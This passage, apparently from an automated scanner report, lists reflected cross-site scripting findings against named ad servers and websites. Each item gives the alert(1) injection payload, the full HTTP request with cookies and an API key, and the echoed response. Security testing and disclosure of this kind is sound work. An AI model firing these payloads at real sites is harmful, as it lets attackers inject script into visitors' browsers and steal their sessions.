Host:	http://ad.doubleclick.net
Path:	/adj/smartmoney.com/intromessage

Issue detail

The value of the !category request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8c732'-alert(1)-'7486eaba3ca was submitted in the !category parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/smartmoney.com/intromessage;!category=8c732'-alert(1)-'7486eaba3ca HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/static_html_files/smartmoney/smIntro.html?page=http://www.smartmoney.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 435
Cache-Control: no-cache
Pragma: no-cache
Date: Sat, 14 May 2011 10:15:37 GMT
Expires: Sat, 14 May 2011 10:15:37 GMT

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/g;225696705;0-0;0;63658510;255-0/0;37134400/37152278/1;;~okv=;!category=8c732'-alert(1)-'7486eaba3ca;~aopt=2/1/ff/1;~sscs=%3fhttps://w1.buysub.com/servlet/OrdersGateway?cds_mag_code=SMY&cds_page_id=66975&cds_response_key=IDFGODAB">
...[SNIP]...

4.48. http://api.bizographics.com/v1/profile.json [&callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://api.bizographics.com
Path:	/v1/profile.json

Issue detail

The value of the &callback request parameter is copied into the HTML document as plain text between tags. The payload af121<script>alert(1)</script>e1480b57813 was submitted in the &callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v1/profile.json?&callback=dj.module.ad.bio.loadBizoDataaf121<script>alert(1)</script>e1480b57813&api_key=r9t72482usanbp6sphprhvun HTTP/1.1
Host: api.bizographics.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: application/json
Date: Sat, 14 May 2011 10:09:39 GMT
P3P: CP="NON DSP COR CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
Pragma: no-cache
Server: nginx/0.7.61
Set-Cookie: BizoID=ba7ddfef-d5fe-4ab1-884d-c9a4dc879d96;Version=0;Domain=.bizographics.com;Path=/;Max-Age=15768000
Set-Cookie: BizoData=vipSsUXrfhMAyjSpNgk6T39Qb1MaQBj6WQYgisqeiidjQcqwKPXXDYVmkoawipO0Dfq1j0w30sQL9madkf8kozH7KZLPZflIrFqisaj5XcunNcMDa7Re6IGD4lJipjjGNqtjAeAd6xyMUDLG5gCh8GmE4wmnnS9ty8xAR0zwQvdHhisgnnwCNICmFKGa4RXxZnzMYL5lop56fA3rHonFMZ1E3OcisUUeXmc77bBFklv3wQQEmtRNLp9SGVM52IisJ2j66T44ZEVUJBxdqAyByxo0BnkxYHGMekeOMTo9anMP2vW0cZuIipNN9QFd9eD8AHJR2FGdEz1hYSFbR3chAU2xWtyvDfXYqVKvKL6ku8zbNip0rRSsokcAYJy1mH2jGbDneEWVJTB2iiSz7mTslQLR60k3zySHYwieie;Version=0;Domain=.bizographics.com;Path=/;Max-Age=15768000
Content-Length: 219
Connection: keep-alive

dj.module.ad.bio.loadBizoDataaf121<script>alert(1)</script>e1480b57813({"bizographics":{"industry":[{"code":"business_services","name":"Business Services"}],"location":{"code":"texas","name":"USA - Texas"}},"usage":1});

4.49. http://api.bizographics.com/v1/profile.json [api_key parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://api.bizographics.com
Path:	/v1/profile.json

Issue detail

The value of the api_key request parameter is copied into the HTML document as plain text between tags. The payload 79904<script>alert(1)</script>02362a720da was submitted in the api_key parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v1/profile.json?&callback=dj.module.ad.bio.loadBizoData&api_key=r9t72482usanbp6sphprhvun79904<script>alert(1)</script>02362a720da HTTP/1.1
Host: api.bizographics.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 403 Forbidden
Cache-Control: no-cache
Content-Type: text/plain
Date: Sat, 14 May 2011 10:09:42 GMT
P3P: CP="NON DSP COR CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
Pragma: no-cache
Server: nginx/0.7.61
Content-Length: 84
Connection: keep-alive

Unknown API key: (r9t72482usanbp6sphprhvun79904<script>alert(1)</script>02362a720da)

4.50. http://bs.serving-sys.com/BurstingPipe/adServer.bs [ifl parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The value of the ifl request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 52260"%3balert(1)//f14c2507aa2 was submitted in the ifl parameter. This input was echoed as 52260";alert(1)//f14c2507aa2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2284375&PluID=0&w=336&h=280&ord=3268510&ifrm=1&ifl=$$/static_html_files/addineyeV2.html$$52260"%3balert(1)//f14c2507aa2&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/n%3B239950972%3B0-0%3B0%3B46249204%3B4252-336/280%3B41839080/41856867/1%3B%3B%7Eokv%3D%3B%21category%3D%3Bpage%3Drightrail%3Bmsrc%3DBOL_other_tnav_analysis%3Bbiz%3D1053%3B%3Bs%3D8_10001%3Bmc%3D0%3Btile%3D9%3Bsz%3D300x250%2C336x280%2C300x600%2C336x850%3B%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3f$$&z=39 HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/static_html_files/jsframe.html?jsuri=http://ad.doubleclick.net/adj/barrons.com/daily_barronstake;!category=;page=rightrail;msrc=BOL_other_tnav_analysis;biz=1053;;s=8_10001;mc=0;tile=9;sz=300x250,336x280,300x600,336x850;ord=2826282628262826;
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: C_4248=4844349; C4=; u2=d61a92e1-c563-4003-b380-e6f0a9dbf9f63I308g; A3=jtvLaMz402WG00001jFD.aMPi0cOm00001idcDaMPm0cEt00001iuIZaMPl0aMI00001idcEaMPm0cEt00001jxYPaMPg0doZ00001iETRaMPm06b+00001; B3=9xx40000000001uD8Yi+0000000001uD9sKa0000000001uD8SlF0000000001uD8SlE0000000001uD9fOJ0000000001uC8VS90000000001uD

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: A3=jtvLaMz402WG00001jFD.aMPi0cOm00001iGbIaMPF0cFA00001idcDaMPm0cEt00001iuIZaMPl0aMI00001iETRaMPm06b+00001jxYPaMPg0doZ00001idcEaMPm0cEt00001; expires=Fri, 12-Aug-2011 06:33:43 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=9xx40000000001uD8Yi+0000000001uD9sKa0000000001uD8SlF0000000001uD8SlE0000000001uD8VS90000000001uD9fOJ0000000001uC8JJn0000000001uD; expires=Fri, 12-Aug-2011 06:33:43 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sat, 14 May 2011 10:33:42 GMT
Connection: close
Content-Length: 1938

var ebPtcl="http://";var ebBigS="ds.serving-sys.com/BurstingCachedScripts/";var ebResourcePath="ds.serving-sys.com/BurstingRes//";var ebRand=new String(Math.random());ebRand=ebRand.substr(ebRand.index
...[SNIP]...
2928/Type-11/4891372_9c2005ba-abc0-47ac-a2a5-aa7bd1fb066d.js";ebO.fvp="Res/";ebO.dlm=1;ebO.bt=5;ebO.bv=11.000000;ebO.plt=9;ebO.ut=gEbUT;ebO.ifrm=1;ebO.oo=0;ebO.ifl="/static_html_files/addineyeV2.html$$52260";alert(1)//f14c2507aa2&ncu=";ebO.z=39;ebO.fru="http://bs.serving-sys.com/BurstingPipe/BannerRedirect.bs?cn=brd&FlightID=2284375&Page=&PluID=0&EyeblasterID=4891372&Pos=4067714151756&ord=[timestamp]";ebO.pv="_4_5_0";ebBv="_2_
...[SNIP]...

4.51. http://bs.serving-sys.com/BurstingPipe/adServer.bs [ncu parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The value of the ncu request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload d6139'><script>alert(1)</script>85c49d58796 was submitted in the ncu parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /BurstingPipe/adServer.bs?cn=sb&c=17&pli=2319721&PluID=0&w=300&h=250&ord=3142682&ifrm=1&p=&npu=$$$$&ncu=d6139'><script>alert(1)</script>85c49d58796 HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/cdn_content/business/re.html?ad_DisplayAd1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: C_4248=4844349; C4=; u2=d61a92e1-c563-4003-b380-e6f0a9dbf9f63I308g; A3=jtvLaMz402WG00001jFD.aMPj0cOm00001iuIZaMPl0aMI00001jxYPaMPg0doZ00001; B3=9xx40000000001uD8Yi+0000000001uD9sKa0000000001uD9fOJ0000000001uC

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: A3=jtvLaMz402WG00001jFD.aMPi0cOm00001iuIZaMPl0aMI00001idcEaMPA0cEt00001jxYPaMPg0doZ00001; expires=Fri, 12-Aug-2011 06:28:47 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=9xx40000000001uD8Yi+0000000001uD9sKa0000000001uD8SlF0000000001uD9fOJ0000000001uC; expires=Fri, 12-Aug-2011 06:28:47 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sat, 14 May 2011 10:28:46 GMT
Connection: close
Content-Length: 2379

<HTML><Body><Script>/*1*/var ebPtcl="http://";var ebBigS="ds.serving-sys.com/BurstingCachedScripts/";var ebResourcePath="ds.serving-sys.com/BurstingRes//";var ebRand=new String(Math.random());ebRand=e
...[SNIP]...
<a href='d6139'><script>alert(1)</script>85c49d58796http%3a//bs.serving%2dsys.com/BurstingPipe/BannerRedirect.bs?cn=brd%26FlightID=2319721%26Page=%26PluID=0%26EyeblasterID=4772648%26Pos=4067795209908%26ord=%5btimestamp%5d' target='_blank'>
...[SNIP]...

4.52. http://bs.serving-sys.com/BurstingPipe/adServer.bs [ncu parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The value of the ncu request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4cbdc</script><script>alert(1)</script>050f40894a4 was submitted in the ncu parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /BurstingPipe/adServer.bs?cn=sb&c=17&pli=2319721&PluID=0&w=300&h=250&ord=3142682&ifrm=1&p=&npu=$$$$&ncu=4cbdc</script><script>alert(1)</script>050f40894a4 HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/cdn_content/business/re.html?ad_DisplayAd1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: C_4248=4844349; C4=; u2=d61a92e1-c563-4003-b380-e6f0a9dbf9f63I308g; A3=jtvLaMz402WG00001jFD.aMPj0cOm00001iuIZaMPl0aMI00001jxYPaMPg0doZ00001; B3=9xx40000000001uD8Yi+0000000001uD9sKa0000000001uD9fOJ0000000001uC

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: A3=jtvLaMz402WG00001jFD.aMPi0cOm00001iuIZaMPl0aMI00001idcEaMPA0cEt00001jxYPaMPg0doZ00001; expires=Fri, 12-Aug-2011 06:28:47 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=9xx40000000001uD8Yi+0000000001uD9sKa0000000001uD8SlF0000000001uD9fOJ0000000001uC; expires=Fri, 12-Aug-2011 06:28:47 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sat, 14 May 2011 10:28:46 GMT
Connection: close
Content-Length: 2396

<HTML><Body><Script>/*1*/var ebPtcl="http://";var ebBigS="ds.serving-sys.com/BurstingCachedScripts/";var ebResourcePath="ds.serving-sys.com/BurstingRes//";var ebRand=new String(Math.random());ebRand=e
...[SNIP]...
-1";ebO.dg="-1";ebO.bgs=escape(ebBigS);ebO.rp=escape(ebResourcePath);ebO.bs=escape("bs.serving-sys.com");ebO.p=escape("");ebO.ju=escape(ebTokens("http://www.spdr-etfs.com/dividends/"));ebO.ncu=escape("4cbdc</script><script>alert(1)</script>050f40894a4");ebO.iu=escape("Site-32294/Type-0/de700f0e-3d61-4dad-b19e-d31e16498ac6.gif");ebO.fu=escape("Site-32294/Type-2/6bca92d7-18a2-4321-a55b-7a6fac5e805b.swf");ebO.fv=10;var ebFN="StdBanner";if(0==1)ebFN+="
...[SNIP]...

4.53. http://bs.serving-sys.com/BurstingPipe/adServer.bs [npu parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The value of the npu request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bf0bb"><script>alert(1)</script>7368fdb59ee was submitted in the npu parameter. This input was echoed as bf0bb\"><script>alert(1)</script>7368fdb59ee in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /BurstingPipe/adServer.bs?cn=sb&c=17&pli=2319721&PluID=0&w=300&h=250&ord=3142682&ifrm=1&p=&npu=$$$$bf0bb"><script>alert(1)</script>7368fdb59ee&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/v%3B240157455%3B0-0%3B0%3B13112524%3B4307-300/250%3B41771240/41789027/1%3Bu%3D%5E%5E%3B%7Eokv%3D%3Bp39%3D223%3Bp39%3D234%3Bp39%3D220%3Bp39%3D233%3Bu%3D%5E%5E%3Bbiz%3D1053%3Bsz%3D300x250%2C336x280%2C300x600%2C336x850%3Btile%3D6%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/cdn_content/business/re.html?ad_DisplayAd1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: C_4248=4844349; C4=; u2=d61a92e1-c563-4003-b380-e6f0a9dbf9f63I308g; A3=jtvLaMz402WG00001jFD.aMPj0cOm00001iuIZaMPl0aMI00001jxYPaMPg0doZ00001; B3=9xx40000000001uD8Yi+0000000001uD9sKa0000000001uD9fOJ0000000001uC

Response

4.54. http://bs.serving-sys.com/BurstingPipe/adServer.bs [npu parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The value of the npu request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 163bd</script><script>alert(1)</script>6281c404d32 was submitted in the npu parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /BurstingPipe/adServer.bs?cn=sb&c=17&pli=2319721&PluID=0&w=300&h=250&ord=3142682&ifrm=1&p=&npu=$$$$163bd</script><script>alert(1)</script>6281c404d32&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/v%3B240157455%3B0-0%3B0%3B13112524%3B4307-300/250%3B41771240/41789027/1%3Bu%3D%5E%5E%3B%7Eokv%3D%3Bp39%3D223%3Bp39%3D234%3Bp39%3D220%3Bp39%3D233%3Bu%3D%5E%5E%3Bbiz%3D1053%3Bsz%3D300x250%2C336x280%2C300x600%2C336x850%3Btile%3D6%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/cdn_content/business/re.html?ad_DisplayAd1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: C_4248=4844349; C4=; u2=d61a92e1-c563-4003-b380-e6f0a9dbf9f63I308g; A3=jtvLaMz402WG00001jFD.aMPj0cOm00001iuIZaMPl0aMI00001jxYPaMPg0doZ00001; B3=9xx40000000001uD8Yi+0000000001uD9sKa0000000001uD9fOJ0000000001uC

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: A3=jtvLaMz402WG00001jFD.aMPi0cOm00001iuIZaMPl0aMI00001idcEaMPA0cEt00001jxYPaMPg0doZ00001; expires=Fri, 12-Aug-2011 06:28:46 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=9xx40000000001uD8Yi+0000000001uD9sKa0000000001uD8SlF0000000001uD9fOJ0000000001uC; expires=Fri, 12-Aug-2011 06:28:46 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sat, 14 May 2011 10:28:46 GMT
Connection: close
Content-Length: 2583

<HTML><Body><Script>/*1*/var ebPtcl="http://";var ebBigS="ds.serving-sys.com/BurstingCachedScripts/";var ebResourcePath="ds.serving-sys.com/BurstingRes//";var ebRand=new String(Math.random());ebRand=e
...[SNIP]...
ace(/\[ebRandom\]/ig,ebRand).replace(/\[timestamp\]/ig,ebRand).replace(/\[%tp_adid%\]/ig,4772648).replace(/\[%tp_flightid%\]/ig,2319721).replace(/\[%tp_campaignid%\]/ig,143901);}var strNPU=ebTokens("$$163bd</script><script>alert(1)</script>6281c404d32&ncu=");document.write("<IMG SRC="+strNPU+" width=0 height=0 style='position:absolute;left:0px;top:0px;'>
...[SNIP]...

4.55. http://bs.serving-sys.com/BurstingPipe/adServer.bs [p parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The value of the p request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c682f"%3balert(1)//e44e08c8f5b was submitted in the p parameter. This input was echoed as c682f";alert(1)//e44e08c8f5b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /BurstingPipe/adServer.bs?cn=sb&c=17&pli=2319721&PluID=0&w=300&h=250&ord=3142682&ifrm=1&p=c682f"%3balert(1)//e44e08c8f5b&npu=$$$$&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/v%3B240157455%3B0-0%3B0%3B13112524%3B4307-300/250%3B41771240/41789027/1%3Bu%3D%5E%5E%3B%7Eokv%3D%3Bp39%3D223%3Bp39%3D234%3Bp39%3D220%3Bp39%3D233%3Bu%3D%5E%5E%3Bbiz%3D1053%3Bsz%3D300x250%2C336x280%2C300x600%2C336x850%3Btile%3D6%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/cdn_content/business/re.html?ad_DisplayAd1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: C_4248=4844349; C4=; u2=d61a92e1-c563-4003-b380-e6f0a9dbf9f63I308g; A3=jtvLaMz402WG00001jFD.aMPj0cOm00001iuIZaMPl0aMI00001jxYPaMPg0doZ00001; B3=9xx40000000001uD8Yi+0000000001uD9sKa0000000001uD9fOJ0000000001uC

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: A3=jtvLaMz402WG00001jFD.aMPi0cOm00001iuIZaMPl0aMI00001idcEaMPA0cEt00001jxYPaMPg0doZ00001; expires=Fri, 12-Aug-2011 06:28:46 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=9xx40000000001uD8Yi+0000000001uD9sKa0000000001uD8SlF0000000001uD9fOJ0000000001uC; expires=Fri, 12-Aug-2011 06:28:46 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sat, 14 May 2011 10:28:45 GMT
Connection: close
Content-Length: 2843

<HTML><Body><Script>/*1*/var ebPtcl="http://";var ebBigS="ds.serving-sys.com/BurstingCachedScripts/";var ebResourcePath="ds.serving-sys.com/BurstingRes//";var ebRand=new String(Math.random());ebRand=e
...[SNIP]...
;ebO.jwloc=1;ebO.jwmb=1;ebO.jwt=0;ebO.jwl=0;ebO.jww=0;ebO.jwh=0;ebO.btf=0;ebO.ta="-1";ebO.dg="-1";ebO.bgs=escape(ebBigS);ebO.rp=escape(ebResourcePath);ebO.bs=escape("bs.serving-sys.com");ebO.p=escape("c682f";alert(1)//e44e08c8f5b");ebO.ju=escape(ebTokens("http://www.spdr-etfs.com/dividends/"));ebO.ncu=escape("http://ad.doubleclick.net/click;h=v8/3b07/3/0/*/v;240157455;0-0;0;13112524;4307-300/250;41771240/41789027/1;u=^^;~okv=;
...[SNIP]...

4.56. http://bs.serving-sys.com/BurstingPipe/adServer.bs [p parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The value of the p request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 5bc52'><script>alert(1)</script>19b91e4c95 was submitted in the p parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /BurstingPipe/adServer.bs?cn=sb&c=17&pli=2319721&PluID=0&w=300&h=250&ord=3142682&ifrm=1&p=5bc52'><script>alert(1)</script>19b91e4c95&npu=$$$$&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/v%3B240157455%3B0-0%3B0%3B13112524%3B4307-300/250%3B41771240/41789027/1%3Bu%3D%5E%5E%3B%7Eokv%3D%3Bp39%3D223%3Bp39%3D234%3Bp39%3D220%3Bp39%3D233%3Bu%3D%5E%5E%3Bbiz%3D1053%3Bsz%3D300x250%2C336x280%2C300x600%2C336x850%3Btile%3D6%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/cdn_content/business/re.html?ad_DisplayAd1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: C_4248=4844349; C4=; u2=d61a92e1-c563-4003-b380-e6f0a9dbf9f63I308g; A3=jtvLaMz402WG00001jFD.aMPj0cOm00001iuIZaMPl0aMI00001jxYPaMPg0doZ00001; B3=9xx40000000001uD8Yi+0000000001uD9sKa0000000001uD9fOJ0000000001uC

Response

4.57. http://fanpeeps.com/ [action parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/

Issue detail

The value of the action request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload d860e'><script>alert(1)</script>a93ef963722 was submitted in the action parameter. This input was echoed as d860e\'><script>alert(1)</script>a93ef963722 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?action=newsd860e'><script>alert(1)</script>a93ef963722&pid=18&iid=6 HTTP/1.1
Host: fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://fanpeeps.com/worldcup
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=181893936.1520938759.1305373774.1305373774.1305373774.1; __utmc=181893936; __utmb=181893936.2.10.1305373774

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:50:03 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 45886

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...
<input type=hidden name=action value='newsd860e\'><script>alert(1)</script>a93ef963722'>
...[SNIP]...

4.58. http://fanpeeps.com/ [action parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/

Issue detail

The value of the action request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 611c2><script>alert(1)</script>1a9e8006079 was submitted in the action parameter. This input was echoed unmodified in the application's response.

